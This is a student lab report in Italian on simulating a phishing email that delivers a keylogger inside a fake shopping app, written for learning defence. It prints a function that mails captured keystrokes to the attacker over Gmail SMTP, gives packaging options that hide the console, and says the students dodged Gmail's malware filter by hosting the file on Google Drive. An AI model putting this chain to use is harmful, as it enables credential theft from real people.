5^A ROB - Itis Delpozzo Cuneo
05-11-2025

Arianna Dutto & Alice Fasulo

PHISHING E KEYLOGGER

INTRODUZIONE

In questa attività di laboratorio, si va a simulare un ipotetico cyber attacco tra due hardware. Uno dei due dispositivi subirà l'attacco, venendo adescato in una email truffa (phishing), la quale contiene un link ed un file, che se scaricato ed eseguito, aprirá sul dispositivo della vittima un finto sito di shopping che in realtà contiene un keylogger. In questo modo, il secondo dispositivo, appartenente invece all'attaccante, dopo aver inviato l'email fraudolenta, potrà ricevere via email tutti i dati privati che la vittima scriverà facendo "acquisti" sull'applicazione.

OBBIETTIVI

1. Simulare un attacco informatico
2. Imparare le possibili tecniche di attacco informatico per imparare a difendersi

CENNI TEORICI

1. keylogger: sono sistemi sia hardware che software che registrano l'input da tastiera dell'utente, servono per rubare i dati sensibili in modo invisibile all'utente. La sicurezza è violata a livello hardware soprattutto sui cellulari e sui pc, dove ci sono delle backdoor sulla cpu che permettono l'accesso e l'uscita dal dispositivo in modo molto veloce.
2. phishing: è una truffa informatica con cui i criminali cercano di rubare dati personali (come password, numeri di carte di credito o credenziali bancarie) fingendosi un'entità affidabile, ad esempio una banca, un sito famoso o un'azienda.

MATERIALI E STRUMENTI UTILIZZATI

1. HARDWARE

- due computer con windows installato su almeno uno dei due
- una chiavetta

2. SOFTWARE

- applicazione VMware
- macchina virtuale Kali munita di sistema operativo Linux, sul computer dell'attaccante
- Visual Studio code con python installato
- gmail di google
- intelligenza artificiale

3. INFORMAZIONI

- https://thehackingquest.net/keylogger-undetectable/
- Warning! Python Remote Keylogger (this is really too easy!)
- Linux keylogger [GUIDA e SPIEGAZIONE]
- Come Creare un Keylogger per Tastiera, Audio e Schermo - Python ITA
- Warning! Python Remote Keylogger (this is really too easy!)
- How To Code A Keylogger In Python | Programming Tutorial For Beginners

PROCEDURA

Solo le operazioni 1 e 2 sono da eseguire su tutti e due i dispositivi, ovvero attaccante e vittima.

Tutte le operazioni andranno svolte sulle macchine virtuali.

1. Installazione macchina virtuale

- installare VMware workstation
- scaricare da internet il file .iso relativo al sistema operativo desiderato
- aprire VMware e creare una nuova macchina virtuale con il file .iso precedentemente scaricato

2. Creazione di due mail personali finte

- sulla rispettiva macchina virtuale, accedere a google creando un nuovo account e assicurarsi di poter inviare e ricevere email
- sulla mail dell'attaccante creare una password per app

3. Installazione Visual Studio Code

A questo punto, il lavoro del dispositivo vittima è terminato, dato che bisogna passare alla scrittura del codice malevolo, il quale sarà presente solo sul computer attaccante. Nella macchina virtuale dell'attaccante bisogna installare visual studio code:

1. scaricare il file .deb da google
2. aprire il prompt dei comandi
3. digitare: sudo dpkg -i nomefileDownload.deb
4. digitare: sudo apt -f install

svolti questi passaggi si puó aprire Visual Studio Code tramite il comando "code" da prompt dei comandi

4. Creazione sito fittizio di base

tramite l'ausilio di un'intelligenza artificiale, in linguaggio python e flask, creare una base di sito dotata di: login, registrazione, homepage dotata di articoli del negozio, carrello e pagina di acquisto con inserimento di tutti i dati necessari per la spedizione e il pagamento.

5. Keylogger

partendo dal codice base per l'applicazione, adesso si deve continuare con la vera parte di attacco, quindi dopo essersi informati da diversi tutorial e siti, si può proseguire con l'integrazione del Keylogger nel programma.

- Si deve inserire il Keylogger all'apertura del browser, cosí che legga l'input da tastiera fin da subito.
- Bisogna ricordarsi di gestire i dati ricevuti da input per evitare sintassi non consone come: [Key.tab] [Key.alt_l] [Key.space] [Key.backspace].
- Si deve gestire il salvataggio degli input letti in una variabile "messaggio"
- Tutto deve essere gestito con un thread per evitare il bloccaggio del sito dato che il keylogger è un azione bloccante dato che sta sempre in ascolto

6. Invio dati collezionati

Una volta svolti i punti precedenti, è necessario inviare i dati scritti dalla vittima all'attaccante perció si crea una funzione che gestisca l'invio della email automatica contenente i dati digitati dalla vittima:

```
def invioEmail():
    global messaggio
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(EMAIL, PASSWORD)
    server.sendmail(EMAIL, EMAIL, messaggio)
    server.quit()
    Timer(INTERVALLO, invioEmail).start()
```

7. Conversione da file .py a file .exe

Finalizzato il programma, si deve creare un file eseguibile, cosí che la vittima possa attivare il programma sul suo computer.

- installare pyinstaller, aprire il prompt dei comandi e digitare:
- pip install pyinstaller ("python -m pip install pyinstaller" in caso si sia in possesso di piú versioni di python)
- pyinstaller nomeFile.py → a cui si possono aggiungere diverse opzioni:
    1. --onefile: crea un singolo file eseguibile
    2. --noconsole o --windowed: nasconde la finestra del terminale
    3. --icon=icona.ico: aggiunge un'icona personalizzata
    4. --name=nomeFileExe: specifica il nome dell'eseguibile

fatto ció si creerá una cartella dist contenente il file .exe

8. Email truffa

Per proseguire, si deve scrivere la bozza della email da mandare alla vittima , la quale conterrá il link alla cartella drive contenente il file .exe e successivamente si potrà proseguire alla condivisione della email.

9. Cadere nella trappola

una volta che la vittima ha ricevuto la email truffa scaricherá il file e lo eseguirá: così facendo si aprirá un sito fittizio e da lí in poi l'attaccante vedrá tutti gli input dell'utente e portá procedere al furto dei dati

PROBLEMI RISCONTRATI

- Il Keylogger ha azione bloccante e quindi impediva il corretto svolgimento del programma → è stato risolto tramite la creazione di un thread
- I dati rimangono salvati sul programma che peró é in locale sul computer della vittima → risolto con l'invio dei dati catturati tramite mail precedentemente impostata dall'attaccante come costante
- inizialmente l'idea era quella di utilizzare una macchina virtuale con sistema operativo windows, ma ci sono state diverse problematiche:
    1. internet explorer non funzionava, così è stata provata l'installazione di google
    2. per installare google era necessario scaricare l'eseguibile, prima sul proprio sistema operativo per poi trasferirlo tramite cartella condivisa. Per creare la cartella condivisa però, era necessario installare i tool di VMware
    3. per installare i tool di VMware era necessario scaricare l'estensione SP1 di windows 7, in modo da rendere compatibile windows 7 con i tool. Il file contenente SP1 doveva essere trasferito tramite chiavetta, ma la chiavetta non veniva vista dalla macchina virtuale
    4. a questo punto essendo che niente funzionava, si è pensato di installare windows 10 enterprise (la versione gratuita), ma su internet non è più disponibile il download per quella versione

  → il problema è stato risolto non utilizzando più una macchina virtuale, ma lavorando direttamente sul proprio sistema operativo nonostante i possibili rischi

- in teoria sulla email truffa doveva essere presente direttamente il file dell'applicazione con all'interno il keylogger, ma probabilmente gmail ha rilevato il malware all'interno della email. → Il problema è stato risolto con la caricatura su google drive del file, reso pubblico e nella email truffa è stato messo il link al drive. In questo modo il file dell'applicazione viene scaricato dal drive senza problemi.

CONCLUSIONE

L'attività ha mostrato in modo pratico come, con strumenti e passaggi semplici, sia possibile compromettere un dispositivo e rubare informazioni sensibili. E' sufficiente infatti inviare una email credibile, con un link o un eseguibile che una volta cliccato dalla vittima avvia il file e il keylogger inizia a registrare tutto ciò che viene digitato, inviando i dati all'attaccante ogni 60 secondi. Il programma resta attivo finché il processo non viene chiuso dall'attaccante, quindi il danno può continuare senza che la vittima se ne accorga. L'esercizio ha inoltre permesso di imparare a risolvere problemi in autonomia.